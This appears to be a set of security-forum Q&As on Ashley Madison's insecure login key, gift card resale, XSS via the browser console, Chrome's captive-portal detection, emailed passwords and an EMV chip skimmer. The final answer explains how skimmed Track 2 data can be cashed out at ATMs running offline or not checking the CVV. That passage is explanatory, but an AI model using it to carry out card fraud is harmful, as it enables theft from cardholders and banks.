For other types of security work (e.g. policy stuff, higher level advice and guidance) programming is less likely to be important...


What's the purpose of $LoginKey from the Ashley Madison leak? According to this site Ashley Madison was keeping an insecure hash stored in their database using MD5, in addition to the far more secure bcrypt hash.  This group used the MD5 hashes to quickly crack the password database rather than use the far more difficult to crack bcrypt hashes.

The article only gives this brief clue:

  The $loginkey variable seemed to be used for automatic login, but we
  didn’t spend much time investigating further. It was generated upon
  user account creation and was re-generated when the user modified
  their account details including username, password and email address.

The question is, what's the purpose of this $loginkey variable?  It's obviously pointless to use bcrypt which is purposefully slow when you're using a far, far faster hash like md5 elsewhere that's an easier target.  Obviously this is a large blunder on the part of the Ashley Madison developers, but I'm curious as to why they would have put this in in the first place, and why it was never fixed since (someone) knew to use bcrypt for the main password hash.

Probably as a token for users to login (i.e. "Remember my login").

If you want users to be able to use remembered login functionality, then you need to use a crytographically secure pseudo random number generator (CSPRNG) to generate the token. Then calculate an expiration date for that token to be used, and store both the token and the expiration date in your database. Once the user logs in (and indicated at login that they wanted to remember their login) you would store the plain text of the token on their machine in the form of a cookie or local storage. Then next time they tried to access a page which required a login, you would search for that token in their browser's cookie or local storage. If the token matches with a token that you stored in your database, and if the expiration date for that token is still in the future, then consider the user to be logged in; delete the token from their browser as well as the database, and repeat the process of generating and storing a new token all over again.

For added security, in your database you probably want to store the hash of the token rather than the token itself. As long as you used a CSPRNG to generate the token, you should be able to use even a fast hashing algorithm to hash the token.

I think the Ashley Madison devs simply didn't use a CSPRNG to create the $loginkey and instead used a non-random sequence of characters (username plus the MD5 hash of the password), which currently is what made it so easy for crackers to determine the unhashed portion of the $loginkey, which in this case was the password.


How do gift card resellers prevent sellers from re-using pin and card numbers There are multiple gift card reseller sites that buy your gift cards and resell them at discounted price.  I was wondering how these sites prevent sellers from reusing the pin and card number after it has been sold (you can use the pin and card numbers online, or even at the store without the physical card).

All the giftcard buying companies (like cardpool) are located in California because In the state of California all retailers that offer giftcards must refund giftcards for cash value or issue a new giftcard at no cost (California Civil Code Section 1749.5(b))

there is a 24-48 hour wait period for gift card buying companies to pay you.

So what they do is either get a cash refund or new card from the card that you sell.


XSS scripts in console Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)?   Is this a proper way ?

Of course its possible. Its literally a console that you can run and execute arbitrary JavaScript in.

As an example, here's me popping up an alert box on this very page:

This is only dangerous if your end-user is stupid enough to run code in dev-tools that they don't understand.

Alternatively if there's an exploit available in the plugin your calling that may also be leveraged to exploit XSS attacks


Distinguish between Wi-Fi Captive portal and MitM attack Not sure whether this should be asked in Super User or here.

How does Chrome distinguish between a Wi-Fi access point intercepting  with a captive portal and a man-in-the-middle attack on HTTPS?

Are they using a preloaded list of redirect targets when checking against sites with HSTS or what?

Man-in-the-middle attack

Wi-Fi hotspot message (in recent versions of Chrome)

About Chrome

According to https://www.google.com/chrome/browser/privacy/whitepaper.html

  In the event that Chrome detects SSL connection timeouts, certificate
  errors, or other network issues that might be caused by a captive
  portal (a hotel's WiFi network, for instance), Chrome will make a
  cookieless request to http://www.gstatic.com/generate_204 and check
  the response code. If that request is redirected, Chrome will open the
  redirect target in a new tab on the assumption that it's a login page.
  Requests to the captive portal detection page are not logged.

  You can disable navigation error tips by unchecking the box in the
  "Privacy" section of Google Chrome's options.

About Chromium OS

https://www.chromium.org/chromium-os/chromiumos-design-docs/network-portal-detection explains :

  Shill, the connection manager for Chromium OS, attempts to detect services that are within a captive portal whenever a service
  transitions to the ready state.  This determination of being in a
  captive portal or being online is done by attempting to retrieve the
  webpage http://clients3.google.com/generate_204.  This well known URL
  is known to return an empty page with an HTTP status 204.  If for any
  reason the web page is not returned, or an HTTP response other than
  204 is received, then shill marks the service as being in the portal
  state.

  Many, or perhaps most, captive portals found in Hotels, Coffee Shops,
  Airports, etc, either run their own DNS server which returns IP
  address for all queries which point to their webserver, or they
  intercept all HTTP web traffic and return a 302 (redirect) response.
  The captive portal detection works very reliably with these types of
  portal to indicate that the service is not fully online.


Alternatives to sending out passwords in plain text via e-mail? One of my hosting providers is sending a new password in plain text per e-mail, on request.

How insecure is this practice?
What would be a good (more secure) alternative to this?

It's probably fine, as long as the user is prompted to login and change it immediately (and assuming it expires within hours if the user does nothing, forcing another reset cycle). A similar question is "Temporary passwords e-mailed out as plain text".

You're probably thinking of the much worse scenario whereby a system stores your passwords in plaintext, and then emails you your password if you forget it. There are a few questions dealing with why that is a bad process (and what you can do about it).


What info this EMV chip "skimmer" was actually capturing? Reading a security blog I found an article about an EMV skimmer designed to be inserted into the ATM's chip card slot.

What info was this device actually capture? As far as I know there's definitely not enough info on an EMV card to perform an offline transaction (the CVV2 used by online transactions isn't even known by the chip), and EMV cards can't be copied so it's not possible for them to clone a card either.

Any ideas?

The article itself addresses this:

Banks can run a simple check to see if any card inserted into an ATM is a counterfeit magnetic stripe card that is encoded with data stolen from a chip card. But there may be some instances in which banks are doing this checking incorrectly or not at all during some periods, and experts say the thieves have figured out which ATMs will accept magnetic stripe cards that are cloned from chip cards.
“This suggests to me that the thieves plan to target an issuer where they know the CVV is not going to be checked,” said Charlie Harrow, solutions manager for global security at NCR, an ATM manufacturer.

My guess is that they're specifically capturing tag 57 (Track 2 equivalent data).  As the article says, this is not the same data that's encoded on the magstripe, but it does have the same account number.  If they have managed to figure out when an ATM is operating in offline mode (where it doesn't immediately check with the bank), this information is good enough to make a withdrawal - although it'll be detected as soon as the ATM goes back online and reports it.